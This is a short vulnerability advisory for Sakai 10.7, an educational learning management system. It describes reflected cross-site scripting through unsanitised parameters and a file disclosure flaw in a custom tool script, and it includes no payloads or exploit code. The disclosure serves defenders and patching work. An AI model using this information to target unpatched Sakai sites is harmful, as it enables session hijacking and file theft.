Sakai 10.7 Multiple Vulnerabilities Vendor: Apereo Foundation Product web page: https://www.sakaiproject.org Affected version: 10.7 (Kernel 10.7) Summary: Sakai is a free, community source, educational software platform designed to support teaching, research and collaboration. Systems of this type are also known as Course Management Systems (CMS), Learning Management Systems (LMS), or Virtual Learning Environments (VLE). Desc: Sakai suffers from multiple reflected cross-site scripting vulnerabilities when input passed via several parameters to several scripts is not properly sanitized before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site. Also there is a file disclosure vulnerability when calling custom tool script. It is not properly verified before being used to read files. This can be exploited to disclose contents of files from local resources.
